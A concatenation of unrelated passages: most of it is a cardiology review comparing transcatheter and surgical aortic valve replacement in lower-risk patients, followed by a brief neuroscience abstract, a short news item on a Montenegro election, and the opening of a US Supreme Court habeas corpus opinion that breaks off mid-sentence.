Figure [1](#jah33207-fig-0001){ref-type="fig"} illustrates the regulatory timeline of TAVR in the United States. TAVR has been proven to be an effective treatment for patients with symptomatic severe AS and high or extreme surgical risk.[3](#jah33207-bib-0003){ref-type="ref"}, [4](#jah33207-bib-0004){ref-type="ref"}, [5](#jah33207-bib-0005){ref-type="ref"} Observational studies in Europe were the first to suggest that TAVR is safe in low‐ and intermediate‐risk patients, with low rates of procedural complications and short‐term mortality,[6](#jah33207-bib-0006){ref-type="ref"}, [7](#jah33207-bib-0007){ref-type="ref"}, [8](#jah33207-bib-0008){ref-type="ref"}, [9](#jah33207-bib-0009){ref-type="ref"} although a recent meta‐analysis suggested increased intermediate‐term mortality with TAVR compared with SAVR (relative risk 1.45, 95% confidence interval, 1.11--1.89, *P*=0.006) with median follow‐up of 2 years.[10](#jah33207-bib-0010){ref-type="ref"} More robust data were provided by the NOTION (Nordic Aortic Valve Intervention Trial), which randomized primarily low‐risk patients to SAVR versus TAVR with the self‐expanding CoreValve THV (Medtronic, Minneapolis, MN).[11](#jah33207-bib-0011){ref-type="ref"} There were no differences between groups in 2‐year mortality or composite outcome of all‐cause mortality, stroke, or myocardial infarction (Tables [1](#jah33207-tbl-0001){ref-type="table"} and [2](#jah33207-tbl-0002){ref-type="table"}). TAVR patients required a more permanent pacemaker (PPM), but had lower life‐threatening bleeding, acute kidney injury, and new‐onset atrial fibrillation.
{#jah33207-fig-0001}
######
Summary of Key Findings From TAVR Cohorts of Clinical Trials in Low‐ and Intermediate‐Risk Patients
Type of Transcatheter Heart Valve PARTNER 2[12](#jah33207-bib-0012){ref-type="ref"} SURTAVI[14](#jah33207-bib-0014){ref-type="ref"} NOTION[11](#jah33207-bib-0011){ref-type="ref"} SAPIEN 3 IR[13](#jah33207-bib-0013){ref-type="ref"}
-------------------------------------- --------------------------------------------------- ------------------------------------------------- ------------------------------------------------ -----------------------------------------------------
Time to end point 30 d 30 d 30 d 30 d
All‐cause mortality 3.9% 2.2% 2.1% 1.1%
Disabling stroke 3.2% 1.2% 1.4% 1.0%
Paravalvular leak (≥ moderate) 3.7% 3.5%[a](#jah33207-note-0002){ref-type="fn"} 15.3%[b](#jah33207-note-0003){ref-type="fn"} 3.8%
Major vascular complications 7.9% 6.0% 5.6%[a](#jah33207-note-0002){ref-type="fn"} 6.1%
Major and life‐threatening bleeding 10.4% 12.2% 11.3%[a](#jah33207-note-0002){ref-type="fn"} 4.6%
Acute kidney injury (stage 2 or 3) 1.3% 1.7% 0.7%[a](#jah33207-note-0002){ref-type="fn"} 0.5%
New permanent pacemaker implantation 8.5% 25.9% 34.1% 10.2%
Time to end point 2 y 2 y 2 y 1 y
All‐cause mortality 16.7% 11.4% 8.0% 7.4%
Disabling stroke 6.2% 2.6% 3.6% 2.3%
Paravalvular leak (≥ moderate) 5.5% 5.7% 15.7% 1.5%
New permanent pacemaker implantation 11.8% 25.6% 41.3% 12.4%
NOTION indicates Nordic Aortic Valve Intervention Trial; PARTNER 2, Placement of Aortic Transcatheter Valves; SURTAVI, Surgical Replacement and Transcatheter Aortic Valve Implantation; TAVR, transcatheter aortic valve replacement.
End point at hospital discharge.
End point at 3 months.
John Wiley & Sons, Ltd
######
Comparison of 30‐Day Outcomes With TAVR Versus SAVR in Clinical Trials of Low‐ and Intermediate‐Risk Patients
PPM Implantation Stroke Moderate or Severe PVL New Atrial Fibrillation
----------------------------------------------------- ---------------------------------------------- --------------------------------------------- --------------------------------------------- --------------------------------------------- ---------------------------------------------- --------------------------------------------- ---------------------------------------------- ----------------------------------------------
PARTNER 2[12](#jah33207-bib-0012){ref-type="ref"} 8.5% 6.9% 3.2% 4.3% 3.7%[a](#jah33207-note-0005){ref-type="fn"} 0.6%[a](#jah33207-note-0005){ref-type="fn"} 9.1%[a](#jah33207-note-0005){ref-type="fn"} 26.4%[a](#jah33207-note-0005){ref-type="fn"}
SURTAVI[14](#jah33207-bib-0014){ref-type="ref"} 25.9%[a](#jah33207-note-0005){ref-type="fn"} 6.6%[a](#jah33207-note-0005){ref-type="fn"} 1.2% 2.5% 3.5%[a](#jah33207-note-0005){ref-type="fn"} 0.7%[a](#jah33207-note-0005){ref-type="fn"} 12.9%[a](#jah33207-note-0005){ref-type="fn"} 43.4[a](#jah33207-note-0005){ref-type="fn"}
NOTION[11](#jah33207-bib-0011){ref-type="ref"} 34.1%[a](#jah33207-note-0005){ref-type="fn"} 1.6%[a](#jah33207-note-0005){ref-type="fn"} 1.4% 3.0% 15.3%[a](#jah33207-note-0005){ref-type="fn"} 1.8%[a](#jah33207-note-0005){ref-type="fn"} 16.9%[a](#jah33207-note-0005){ref-type="fn"} 57.8%[a](#jah33207-note-0005){ref-type="fn"}
SAPIEN 3 IR[13](#jah33207-bib-0013){ref-type="ref"} 10.2% 7.3% 1.0%[a](#jah33207-note-0005){ref-type="fn"} 4.4%[a](#jah33207-note-0005){ref-type="fn"} 3.8%[a](#jah33207-note-0005){ref-type="fn"} 0.6%[a](#jah33207-note-0005){ref-type="fn"} 3.2%[a](#jah33207-note-0005){ref-type="fn"} 28.5%[a](#jah33207-note-0005){ref-type="fn"}
NOTION indicates Nordic Aortic Valve Intervention Trial; PARTNER 2, Placement of Aortic Transcatheter Valves; PPM, permanent pacemaker; PVL, paravalvular leakage; SAVR, surgical aortic valve replacement; SURTAVI, Surgical Replacement and Transcatheter Aortic Valve Implantation; TAVR, transcatheter aortic valve replacement.
Statistically significant difference.
John Wiley & Sons, Ltd
Results from the first pivotal randomized clinical trial of TAVR in intermediate‐risk patients using the balloon‐expandable Sapien XT transcatheter heart valve (THV) (Edwards Lifesciences, Irvine, CA) were published in 2016.[12](#jah33207-bib-0012){ref-type="ref"} TAVR was noninferior to surgery with regard to death and disabling stroke, but there was a higher rate of moderate/severe paravalvular leakage (PVL) with TAVR versus SAVR. Similar to NOTION, TAVR was associated with lower rates of severe kidney injury, severe bleeding, and new‐onset atrial fibrillation. Use of the newer‐generation Sapien 3 THV in intermediate‐risk patients may be associated with even better results. Data from the registry arm of the PARTNER 2 (Placement of Aortic Transcatheter Valves) study comparing TAVR with the Sapien 3 THV with a propensity‐matched surgical cohort demonstrated both noninferiority and superiority of TAVR versus SAVR for the composite outcome of death, stroke, and moderate/severe aortic regurgitation, with overall low complication rates using this newer THV (Table [1](#jah33207-tbl-0001){ref-type="table"}).[13](#jah33207-bib-0013){ref-type="ref"} Comparable findings were revealed in the SURTAVI (Surgical Replacement and Transcatheter Aortic Valve Implantation) trial using the self‐expanding CoreValve or Evolut R THV in intermediate‐risk patients.[14](#jah33207-bib-0014){ref-type="ref"} At 2 years, there was no difference in the composite outcome of all‐cause death or disabling stroke. As with the balloon‐expandable valves, the PPM implantation rate was higher with TAVR, but new‐onset atrial fibrillation, significant bleeding, and acute kidney injury rates were lower (Table [1](#jah33207-tbl-0001){ref-type="table"}).
In addition, it is important to appreciate that most subjects were elderly in the clinical trials of intermediate‐risk patients, with mean age 79 to 82 years. Therefore, the results cannot necessarily be extrapolated to younger patients.
Potential Limitations of TAVR in Operable Patients {#jah33207-sec-0004}
==================================================
Because TAVR was initially reserved for extreme‐ and high‐risk patients with advanced age and multiple comorbidities, very few patients lived long enough to test the lifespan of their bioprosthetic THV. So far, 5‐year THV hemodynamic data appear comparable to surgical bioprostheses with no evidence of increased early structural valve deterioration.[15](#jah33207-bib-0015){ref-type="ref"}, [16](#jah33207-bib-0016){ref-type="ref"}, [17](#jah33207-bib-0017){ref-type="ref"} Nonetheless, long‐term THV durability remains unknown, which tempers widespread adoption of TAVR in younger patients. Mechanisms to explain the recent observation that THV appear more susceptible to subclinical leaflet thrombosis compared with surgical bioprostheses are still unclear.[18](#jah33207-bib-0018){ref-type="ref"}, [19](#jah33207-bib-0019){ref-type="ref"} The first comprehensive data on durability will likely come from long‐term follow‐up of patients from the intermediate‐risk PARTNER 2 and SURTAVI trials. Additionally, the randomized US clinical trials in low‐risk patients will follow subjects for 10 years with yearly echocardiography to assess for structural valve deterioration, and all include a subgroup of patients undergoing 4‐dimensional contrast‐enhanced cardiac computed tomography to assess for leaflet thrombosis and restricted leaflet motion. In the meantime, as more patients undergo TAVR, THV failure will become more common. TAVR‐in‐TAVR has been shown to be safe, with comparable short‐ and midterm clinical and hemodynamic outcomes to valve‐in‐valve TAVR for failed surgical bioprostheses.[20](#jah33207-bib-0020){ref-type="ref"}, [21](#jah33207-bib-0021){ref-type="ref"}
Over the past decade, the morbidity associated with the first‐generation TAVR valves has dramatically improved. The increased risk of periprocedural stroke with TAVR compared with SAVR was a concern in high‐risk patients. However, with device and procedural improvements, the rate of disabling stroke was consistently lower with TAVR versus SAVR in intermediate‐risk patients (Table [2](#jah33207-tbl-0002){ref-type="table"}). Additionally, the rate of new‐onset atrial fibrillation was significantly lower with TAVR versus SAVR in all of the clinical trials (Table [2](#jah33207-tbl-0002){ref-type="table"}). In the TAVR cohort of the NOTION study using the first‐generation CoreValve self‐expanding THV, the rate of clinically relevant PVL at 30 days, defined as moderate or severe by echocardiography, was 15.3%. The PARTNER 2 and SAPIEN 3 IR studies using balloon‐expandable THV (Edwards Sapien XT or Sapien 3) demonstrated much lower rates of significant PVL under 4%, as did the SURTAVI trial using self‐expanding THV (CoreValve or Evolut R) (Table [1](#jah33207-tbl-0001){ref-type="table"}). The Sapien 3 valve features a sealing skirt, and the latest‐generation CoreValve Evolut PRO also incorporates a pericardial tissue wrap specifically designed to reduce PVL. However, the need for new PPM implantation remains the Achilles' heel of TAVR, with 30‐day PPM rates of ≈10% for balloon‐expandable THV[13](#jah33207-bib-0013){ref-type="ref"} and ≈25% for self‐expanding THV[14](#jah33207-bib-0014){ref-type="ref"} (Table [1](#jah33207-tbl-0001){ref-type="table"}). In the SURTAVI trial, there was no difference in PPM rate between the CoreValve and Evolut R THV (25.5% versus 26.7%, respectively), although only 16% of patients in the study received the newer Evolut R THV. This compares with PPM implantation rates after SAVR of 1.6% to 7.3% in these same studies. Strategies for high implantation, accurate computed tomography--based sizing, and newer TAVR devices may reduce the rates of PPM implantation in the future. The long‐term consequences of the need for a PPM following either TAVR or SAVR are unknown.
Do Clinical Trials of TAVR in Low‐Risk Patients Herald the End of Isolated SAVR? {#jah33207-sec-0005}
================================================================================
So long as TAVR was restricted for use only in high‐ and extreme‐risk patients, there remained a clear role for surgery for the many more patients with symptomatic severe AS who were operable. However, data from PARTNER 2 and SURTAVI have convincingly demonstrated that TAVR is noninferior to SAVR in intermediate‐risk patients and, if performed via transfemoral access, is associated with improved early health status improvements compared with SAVR.[22](#jah33207-bib-0022){ref-type="ref"} Thus, in 2018, it is reasonable to favor TAVR in all operable patients with symptomatic severe AS and increased surgical risk.
Table [3](#jah33207-tbl-0003){ref-type="table"} summarizes the study design of currently enrolling randomized clinical trials of TAVR in low‐risk patients.[23](#jah33207-bib-0023){ref-type="ref"}, [24](#jah33207-bib-0024){ref-type="ref"}, [25](#jah33207-bib-0025){ref-type="ref"}, [26](#jah33207-bib-0026){ref-type="ref"} The first results from these studies are expected in 2018. Assuming these results demonstrate noninferiority of TAVR versus SAVR, in the future it will likely be reasonable to consider TAVR in all patients with symptomatic severe AS, regardless of operative risk (Figure [2](#jah33207-fig-0002){ref-type="fig"}). If this is the case, then we wholeheartedly support continued Heart Team collaboration between interventional cardiologists and cardiothoracic surgeons, although the requirement for 2 surgeons to evaluate each patient for operative risk before TAVR would become obsolete. Availability of TAVR for all, regardless of operative risk, would also allow more opportunity for patient preference to direct decision‐making. Indeed, many low‐risk patients may prefer TAVR over SAVR for personal reasons that current guidelines and indications cannot encompass.
######
Ongoing Clinical Trials in Low‐Risk Patients
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Name Unique Identifier Population Study Design Primary End Point THV in TAVR Arm Sample Size
----------------------------------------------------------------------------- ------------------- --------------------- ---------------------------------------------------- -------------------------------------------------------------------------------- ------------------------------------- --------------------------------
LRT[23](#jah33207-bib-0023){ref-type="ref"} NCT02628899 No age restriction\ Feasibility study\ All‐cause mortality at 30 d Transfemoral\ 200 TAVR in main arm\
STS ≤3% Prospective TAVR arm with historical SAVR controls SAPIEN 3 or Evolut R/PRO Up to 100 TAVR in bicuspid arm
PARTNER 3[24](#jah33207-bib-0024){ref-type="ref"} NCT02675114 Age ≥65 y\ Noninferiority\ All‐cause mortality, all stroke, and rehospitalization at 1 y Transfemoral\ 614 TAVR\
STS \<4% Randomized TAVR vs SAVR SAPIEN 3 614 SAVR
Medtronic TAVR in low risk patients[25](#jah33207-bib-0025){ref-type="ref"} NCT02701283 No age restriction\ Noninferiority\ All‐cause mortality or disabling stroke at 2 y Transfemoral or subclavian Evolut R 625 TAVR\
STS \<3% Randomized TAVR vs SAVR 625 SAVR
NOTION 2[26](#jah33207-bib-0026){ref-type="ref"} NCT02825134 Age 18 to 75 y\ Noninferiority\ Composite rate of all‐cause mortality, myocardial infarction and stroke at 1 y Transfemoral\ 496 TAVR\
STS \<4% Randomized TAVR vs SAVR Any CE‐approved THV 496 SAVR
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
CE indicates Conformité Européene; NOTION, Nordic Aortic Valve Intervention Trial; PARTNER 2, Placement of Aortic Transcatheter Valves; SAVR, surgical aortic valve replacement; STS, Society of Thoracic Surgeons; TAVR, transcatheter aortic valve replacement; THV, transcatheter heart valve.
John Wiley & Sons, Ltd
{#jah33207-fig-0002}
However, risk assessment is but 1 element of the decision‐making process. Special circumstances may still favor SAVR, namely, patient life expectancy, patients\' preference for a mechanical valve, aortic valve and root anatomy, available vascular access, and comorbidities (Table [4](#jah33207-tbl-0004){ref-type="table"}).
######
Indications for SAVR in Operable Patients
Indications
-------------------------------------------------------------------
1\. Young patient requiring a mechanical valve
2\. Bicuspid aortic stenosis with dilation of the ascending aorta
3\. Very large aortic annulus
4\. Patients ineligible for transfemoral access
5\. Aortic stenosis with multivessel coronary artery disease
SAVR indicates surgical aortic valve replacement.
John Wiley & Sons, Ltd
Young Patients Requiring a Mechanical Valve {#jah33207-sec-0006}
-------------------------------------------
The 2017 American College of Cardiology/American Heart Association focused guideline update on the management of patients with valvular heart disease lowered the age cutoff above which a bioprosthetic valve is reasonable to 50 years with a Class IIa recommendation.[27](#jah33207-bib-0027){ref-type="ref"} In patients under the age of 50 years, the guideline still recommends a mechanical valve unless the patient has a clear contraindication to anticoagulation. There is nonetheless a trend toward increased use of bioprosthetic surgical valves even in patients under the age of 50 years,[28](#jah33207-bib-0028){ref-type="ref"} often driven by patient preference and desire to avoid long‐term anticoagulation. Availability of newer mechanical valves that can safely be maintained with lower‐dose warfarin (target INR 1.5--2.0) and low‐dose aspirin[29](#jah33207-bib-0029){ref-type="ref"} may convince more patients to select a mechanical prosthesis. Conversely, patients and physicians may feel more comfortable selecting a bioprosthesis because valve‐in‐valve TAVR is now an option if a surgical bioprosthesis fails in the future.[21](#jah33207-bib-0021){ref-type="ref"} Irrespective of whether a mechanical valve or bioprosthesis is selected, aortic root enlargement surgery should be considered in patients with a small aortic annulus to prevent patient--prosthesis mismatch and facilitate TAVR valve‐in‐valve for the future.
Bicuspid Aortic Stenosis {#jah33207-sec-0007}
------------------------
The prevalence of a bicuspid aortic valve in the general population is 1% to 2%, with a 2:1 male‐to‐female ratio.[30](#jah33207-bib-0030){ref-type="ref"}, [31](#jah33207-bib-0031){ref-type="ref"} The specific genetic locus and protein abnormality in patients with a bicuspid aortic valve have not yet been identified; however, the tissue abnormality is not confined to the valve leaflets and these patients are at increased risk of aortic aneurysm and dissection. Although most cases of bicuspid aortic valve are sporadic, familial clusters have been identified. The high incidence of familial clustering is suggestive of autosomal‐dominant inheritance with reduced penetrance.[32](#jah33207-bib-0032){ref-type="ref"}
Nearly all patients with a bicuspid aortic valve will require valve surgery during their lifetime. A study of excised aortic valves revealed bicuspid morphology in 62% of patients aged 50 to 70 years undergoing isolated SAVR before the advent of TAVR.[33](#jah33207-bib-0033){ref-type="ref"} Bicuspid aortic valves are more prone to calcific degeneration leading to stenosis at a young age, and therefore, patients with bicuspid AS are likely to fall into low‐ and intermediate‐risk categories. Computed tomography analysis of aortic annulus and valve morphology demonstrates more eccentric annular calcification in bicuspid versus tricuspid valves (68% versus 32%).[34](#jah33207-bib-0034){ref-type="ref"} Consequently, TAVR could theoretically be associated with increased risk in patients with bicuspid versus tricuspid valves. First, the rate of moderate or severe PVL could be higher. Observational studies have reported PVL rates in bicuspid valves to range from 9.6% to 28.4%.[35](#jah33207-bib-0035){ref-type="ref"}, [36](#jah33207-bib-0036){ref-type="ref"} However, careful valve sizing using cardiac computed tomography angiography can reduce the incidence of PVL substantially.[36](#jah33207-bib-0036){ref-type="ref"} Use of newer‐generation valves that incorporate features to reduce PVL may be particularly advantageous in the setting of bicuspid AS. Second, the rate of valve embolization could be higher, although the same observational studies suggest that embolization with conversion to open chest surgery occurs rarely in bicuspid AS (2.2--4.0%).[36](#jah33207-bib-0036){ref-type="ref"}, [37](#jah33207-bib-0037){ref-type="ref"} Third, the rate of prosthesis--patient mismatch could be higher because the abnormal aortic valve morphology could prevent full expansion of the transcatheter valve.[38](#jah33207-bib-0038){ref-type="ref"} Fourth, the rate of PPM implantation could be higher, although a German TAVR registry analysis actually reported lower rates in patients with bicuspid versus tricuspid valves (17% versus 35%).[39](#jah33207-bib-0039){ref-type="ref"}
All of the pivotal randomized clinical trials comparing TAVR and SAVR excluded patients with bicuspid aortic valves. However, observational studies suggest that TAVR may be safe and effective in this setting. A multicenter registry of 108 patients reported 30‐day and 1‐year mortality rates of 8.3% and 16.9%, respectively.[35](#jah33207-bib-0035){ref-type="ref"} An analysis of 139 low‐ and intermediate‐risk patients (mean STS score 4.9±3.4%) in 12 European centers corroborated these findings with 1‐year mortality of 17.5%.[36](#jah33207-bib-0036){ref-type="ref"} Another multicenter observational study comparing TAVR in patients with bicuspid versus tricuspid aortic valves did not demonstrate any difference in 30‐day mortality.[40](#jah33207-bib-0040){ref-type="ref"} A comparison of outcomes in high‐risk patients with bicuspid versus tricuspid aortic valves from the German national TAVR registry also demonstrated no difference in 1‐year mortality.[39](#jah33207-bib-0039){ref-type="ref"} A recent multicenter observational study of 51 patients in Canada and Europe with bicuspid aortic valve undergoing TAVR with the latest‐generation Edwards Sapien 3 valve reported promising results with low 30‐day mortality (3.9%) and no clinically significant PVL. These results suggest that the latest‐generation balloon‐expandable THV may achieve superior hemodynamic results compared with earlier‐generation devices. However, the rate of new PPM implantation was high at 23.5%.[41](#jah33207-bib-0041){ref-type="ref"} Further data on the safety and feasibility of TAVR in low‐risk patients with bicuspid AS will be provided by the LRT (Low Risk TAVR) study, which includes a separate bicuspid registry arm.[23](#jah33207-bib-0023){ref-type="ref"}
Regardless of these promising results, up to 80% of adult patients with bicuspid AS have concomitant dilation of the ascending aorta, and half of these patients meet criteria for surgical repair.[42](#jah33207-bib-0042){ref-type="ref"}, [43](#jah33207-bib-0043){ref-type="ref"} According to current guidelines, patients with ascending aorta diameter ≥4.5 cm should undergo surgical repair at the time of aortic valve replacement for bicuspid aortic valve pathology,[44](#jah33207-bib-0044){ref-type="ref"} and therefore TAVR is probably inappropriate. However, in patients with ascending aorta \<4.5 cm in diameter, the best strategy is to review historical imaging of the aorta to assess the rate of dilation. Rapid progression may push toward SAVR and ascending aortic repair, whereas slowing or absence of progression over preceding years may reassure that TAVR is a reasonable strategy.
Very Large Aortic Annulus {#jah33207-sec-0008}
-------------------------
Commercially available THV are indicated for aortic annuli measuring up to ≈30 mm in diameter (maximum area 683 mm^2^ for the 29‐mm Sapien 3; maximum perimeter 94.2 mm for the 34 mm Evolut R). Case reports and a small series support the safety and feasibility of overexpansion of the 29‐mm Sapien 3 THV up to a maximum annulus area of 800 mm^2^, which roughly corresponds to an annulus diameter of 32 mm.[45](#jah33207-bib-0045){ref-type="ref"}, [46](#jah33207-bib-0046){ref-type="ref"} However, the effect of overexpansion on THV leaflet function and long‐term durability is not known. The data for CoreValve THV in large annuli are less favorable with high rates of implantation of a second valve.[47](#jah33207-bib-0047){ref-type="ref"} Therefore, at present, SAVR should still be considered in patients with a very large annulus.
Patients Ineligible for Transfemoral Access {#jah33207-sec-0009}
-------------------------------------------
In the PARTNER 1 study in high‐risk patients, transthoracic access was an independent predictor of 2‐year all‐cause mortality with hazard ratio 1.52 (95% confidence interval, 1.12--2.07), *P*=0.008.[48](#jah33207-bib-0048){ref-type="ref"} Similar findings were observed in the PARTNER 2 study in intermediate‐risk patients, with hazard ratio 1.55 (95% confidence interval, 1.23--1.96), *P*\<0.001.[12](#jah33207-bib-0012){ref-type="ref"} A much smaller prospective randomized trial of transapical TAVR versus SAVR in operable patients (the STACCATO trial) was stopped early because of a higher complication rate in the transapical TAVR arm, specifically death and stroke.[49](#jah33207-bib-0049){ref-type="ref"} Furthermore, health status improvements using the Kansas City Cardiomyopathy Questionnaire at 30 days in the PARTNER 2 study were greater with TAVR compared with SAVR, but only in patients who underwent transfemoral TAVR.[22](#jah33207-bib-0022){ref-type="ref"} Those who underwent transthoracic TAVR (transapical or transaortic) did not show any early health status improvement benefit over surgery. Transfemoral TAVR has been shown to be more cost effective than transthoracic TAVR in high‐risk patients[50](#jah33207-bib-0050){ref-type="ref"} and was recently demonstrated to be more cost effective than SAVR in intermediate‐risk patients (Cohen DJ, Meeting Presentation, Transcatheter Cardiovascular Therapeutics, 2017). Combined, these data suggest that there is likely to be little benefit of TAVR over SAVR in operable patients who are ineligible for transfemoral access because of small or diseased iliofemoral arteries. However, newer options for percutaneous or surgical minimally invasive alternate access, such as transcaval,[51](#jah33207-bib-0051){ref-type="ref"} subclavian,[52](#jah33207-bib-0052){ref-type="ref"} transaxillary,[53](#jah33207-bib-0053){ref-type="ref"} or carotid,[54](#jah33207-bib-0054){ref-type="ref"} have been shown to be safe and appear to avoid the morbidity of transthoracic access, although none have been compared with transthoracic access in a randomized trial. Some can be performed with patients under conscious sedation, allowing rapid ambulation after TAVR and shorter hospital length of stay. Further studies are needed to determine whether TAVR via these newer alternate access approaches confers benefit over SAVR in operable patients. Indeed, all of the ongoing clinical trials in low‐risk patients (Table [3](#jah33207-tbl-0003){ref-type="table"}) mandate transfemoral access exclusively and therefore will not provide any new information on alternate access in low‐risk patients.
Multivessel Coronary Artery Disease {#jah33207-sec-0010}
-----------------------------------
Patients with unrevascularized multivessel coronary artery disease were excluded from all of the pivotal TAVR trials, including from ongoing trials in low‐risk patients. The Interventional Section Leadership Council of the American College of Cardiology recommends that patients undergo limited percutaneous coronary intervention (PCI) to proximal coronary stenoses before TAVR[55](#jah33207-bib-0055){ref-type="ref"} even though this indication is not consistent with current PCI guidelines. It is important to recognize that this recommendation is based on expert consensus in the absence of randomized clinical trial data. However, a number of studies are under way to address this paucity of data. The ACTIVATION (percutaneous coronary intervention prior to transcatheter aortic valve implantation) study is a randomized trial of PCI versus no PCI before TAVR.[56](#jah33207-bib-0056){ref-type="ref"} The FAITAVI (Functional assessment in TAVI) study, a randomized trial of fractional flow reserve versus angiography‐guided PCI before TAVR, aims to explore the role of invasive physiological assessment of coronary stenoses to guide revascularization in patients with AS.[57](#jah33207-bib-0057){ref-type="ref"}
Conclusions {#jah33207-sec-0011}
===========
In summary, the use of TAVR in intermediate‐risk patients with both balloon‐expandable and self‐expanding THV is supported by robust data from multiple randomized clinical trials. Comparable data in low‐risk patients are not yet available because the pivotal trials are ongoing. Nonetheless, the balance of evidence in operable patients is certainly leaning toward the use of TAVR as the preferred strategy for most patients with symptomatic severe AS. Choice of strategy should continue to be personalized based on individual patient demographics, aortic valve and root anatomy, available vascular access, and relevant comorbidities.
Disclosures {#jah33207-sec-0012}
===========
Rogers reports consulting for Medtronic. Thourani reports consulting for Abbott Vascular, Boston Scientific, Claret Medical, Edwards Lifesciences, JenaValve, and Gore Medical. Waksman reports consulting for Abbott Vascular, Biosensors International, Biotronik, Boston Scientific, Medtronic Vascular, Symetis, Lifetech; Speakers Bureau: AstraZeneca, Boston Scientific, Biotronik, Abbott Vascular; grant support from Biosensors International, Biotronik, Boston Scientific, Edwards Lifesciences, and Abbott Vascular.
|
The use of model giant axons in the squid and crayfish has led to the formulation of the "Glial-Neuronal Protein Transfer Hypothesis." BIBLIOGRAPHIC REFERENCES: Gainer, H. and Gainer, V.S.: Proteins in the squid giant axon. In: Reuben, J. (ED.): Electrobiology of Nerve, Synapse, and Muscle. New York, Raven Press, 1976, 13 pp. Barker, J.L., Neale, J.H. and Gainer, H.: Rapidly transported proteins in sensory, motor and sympathetic nerves of the isolated frog nervous system. Brain Res. 105: 497-515, 1976. |
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Montenegro will go to the polls on Sunday as citizens vote in a national election seen by some as a referendum on the country’s western integration.
Prime Minister Milo Djukanovic of the country’s ruling Democratic Party of Socialists has presented the election as a choice between joining NATO or becoming what he referred to as a Russian colony under the opposition. |
NOTICE: This opinion is subject to formal revision before publication in the preliminary print of the United States Reports. Readers are requested to notify the Reporter of Decisions, Supreme Court of the United States, Washington, D. C. 20543, of any typographical or other formal errors, in order that corrections may be made before the preliminary print goes to press.
on writ of certiorari to the united states court of
appeals for the ninth circuit
[January 19, 2011]
Justice Kennedy
delivered the opinion of the Court.
This case calls for determinations parallel in some respects to those discussed in today’s opinion in
Harrington
v.
Richter
,
ante,
p. ___. Here, as in
Richter
, the Court reviews a decision of the Court of Appeals for the Ninth Circuit granting federal habeas corpus relief in a challenge to a state criminal conviction. Here, too, the case turns on the proper implementation of one of the stated premises for issuance of federal habeas corpus contained in
28 U. S. C. §2254(d), the instruction that federal habeas corpus relief may not be granted with respect to any claim a state court has adjudicated on the merits unless, among other exceptions, the state court’s decision denying relief involves “an unreasonable application” of “clearly established Federal law, as determined by the Supreme Court of the United States.” And, as in
Richter
, the relevant clearly established law derives from
Strickland
v.
Washington
,
466 U. S. 668 (1984)
, which provides the standard for inadequate assistance of counsel under the
Sixth Amendment .
Richter
involves a California conviction and addresses the adequacy of representation when counsel did not consult or use certain experts in pretrial preparation and at trial. The instant case involves an unrelated Oregon conviction and concerns the adequacy of representation in providing an assessment of a plea bargain without first seeking suppression of a confession assumed to have been improperly obtained.
I
On December 7, 1995, respondent Randy Moore and two confederates attacked Kenneth Rogers at his home and bloodied him before tying him with duct tape and throwing him in the trunk of a car. They drove into the Oregon countryside, where Moore shot Rogers in the temple, killing him.
Afterwards, Moore and one of his accomplices told two people—Moore’s brother and the accomplice’s girlfriend—about the crimes. According to Moore’s brother, Moore and his accomplice admitted:
“[T]o make an example and put some scare into Mr. Rogers …, they had blind-folded him [and] duct taped him and put him in the trunk of the car and took him out to a place that’s a little remote … . [T]heir intent was to leave him there and make him walk home … [Moore] had taken the revolver from Lonnie and at the time he had taken it, Mr. Rogers had slipped backwards on the mud and the gun discharged.” App. 157–158.
Moore and his accomplice repeated this account to the police. On the advice of counsel Moore agreed to plead no contest to felony murder in exchange for a sentence of 300 months, the minimum sentence allowed by law for the offense.
Moore later filed for postconviction relief in an Oregon state court, alleging that he had been denied his right to effective assistance of counsel. He complained that his lawyer had not filed a motion to suppress his confession to police in advance of the lawyer’s advice that Moore considered before accepting the plea offer. After an evidentiary hearing, the Oregon court concluded a “motion to suppress would have been fruitless” in light of the other admissible confession by Moore, to which two witnesses could testify.
Id
., at 140. As the court noted, Moore’s trial counsel explained why he did not move to exclude Moore’s confession to police:
“Mr. Moore and I discussed the possibility of filing a Motion to Suppress and concluded that it would be unavailing, because . . . he had previously made a full confession to his brother and to [his accomplice’s girlfriend], either one of whom could have been called as a witness at any time to repeat his confession in full detail.” Jordan Affidavit (Feb. 26, 1999), App. to Pet. for Cert. 70, ¶ 4.
Counsel added that he had made Moore aware of the possibility of being charged with aggravated murder, which carried a potential death sentence, as well as the possibility of a sentence of life imprisonment without parole. See Ore. Rev. Stat. §163.105(1)(a) (1995). The intense and serious abuse to the victim before the shooting might well have led the State to insist on a strong response. In light of these facts the Oregon court concluded Moore had not established ineffective assistance of counsel under
Strickland
.
Moore filed a petition for habeas corpus in the United States District Court for the District of Oregon, renewing his ineffective-assistance claim. The District Court denied the petition, finding sufficient evidence to support the Oregon court’s conclusion that suppression would not have made a difference.
A divided panel of the United States Court of Appeals for the Ninth Circuit reversed.
Moore
v.
Czerniak
, 574 F. 3d 1092 (2009). In its view the state court’s conclusion that counsel’s action did not constitute ineffective assistance was an unreasonable application of clearly established law in light of
Strickland
and was contrary to
Arizona
v.
Fulminante
,
499 U. S. 279 (1991)
. Six judges dissented from denial of rehearing en banc. 574 F. 3d, at 1162.
We granted certiorari. 559 U. S. ___ (2010).
II
The statutory authority of federal courts to issue habeas corpus relief for persons in state custody is defined by
28 U. S. C. §2254, as amended by the Antiterrorism and Effective Death Penalty Act of 1996 (AEDPA). The text of §2254(d) states:
“An application for a writ of habeas corpus on behalf of a person in custody pursuant to the judgment of a State court shall not be granted with respect to any claim that was adjudicated on the merits in State court proceedings unless the adjudication of the claim—
“(1) resulted in a decision that was contrary to, or involved an unreasonable application of, clearly established Federal law, as determined by the Supreme Court of the United States; or
“(2) resulted in a decision that was based on an unreasonable determination of the facts in light of the evidence presented in the State court proceeding.”
AEDPA prohibits federal habeas relief for any claim adjudicated on the merits in state court, unless one of the exceptions listed in §2254(d) obtains. Relevant here is §2254(d)(1)’s exception “permitting relitigation where the earlier state decision resulted from an ‘unreasonable application of’ clearly established federal law.”
Richter
,
ante
, at 11. The applicable federal law consists of the rules for determining when a criminal defendant has received inadequate representation as defined in
Strickland
.
To establish ineffective assistance of counsel “a defendant must show both deficient performance by counsel and prejudice.”
Knowles
v.
Mirzayance
, 556 U. S. ___, ___ (2009) (slip op., at 10). In addressing this standard and its relationship to AEDPA, the Court today in
Richter
,
ante
, at 14–16, gives the following explanation:
